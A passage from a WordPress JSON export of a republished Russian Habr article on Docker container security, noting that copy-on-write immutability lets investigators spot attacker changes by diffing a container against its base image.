\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u043f\u043e\u043b\u043d\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0443\u0447\u0435\u043a \u0438 \u0443\u043a\u0440\u0435\u043f\u0438\u0442\u044c \u043e\u0431\u043e\u0440\u043e\u043d\u0443 \u043d\u0430\u0448\u0438\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432!<\/p>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/316386\/\"> https:\/\/habrahabr.ru\/post\/316386\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c57\/ca4\/30f\/c57ca430f83c4ee78b04104f61a65a51.png\"\/><\/p>\n<p>\u041a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b Docker \u0445\u043e\u0440\u043e\u0448\u0438 \u0442\u0435\u043c, \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435\u043c\u0443\u0442\u0430\u0431\u0435\u043b\u044c\u043d\u044b (immutable). Docker \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0442\u0438\u043f\u0430 copy-on-write, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0432\u044b \u0441\u0430\u043c\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u043c\u043c\u0438\u0442.<\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0433\u043e\u0434\u0438\u0442\u044c\u0441\u044f, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a. \u0414\u0430\u0432\u0430\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0441 \u0431\u0430\u0437\u043e\u0432\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-282041","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282041","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=282041"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282041\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=282041"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=282041"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=282041"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}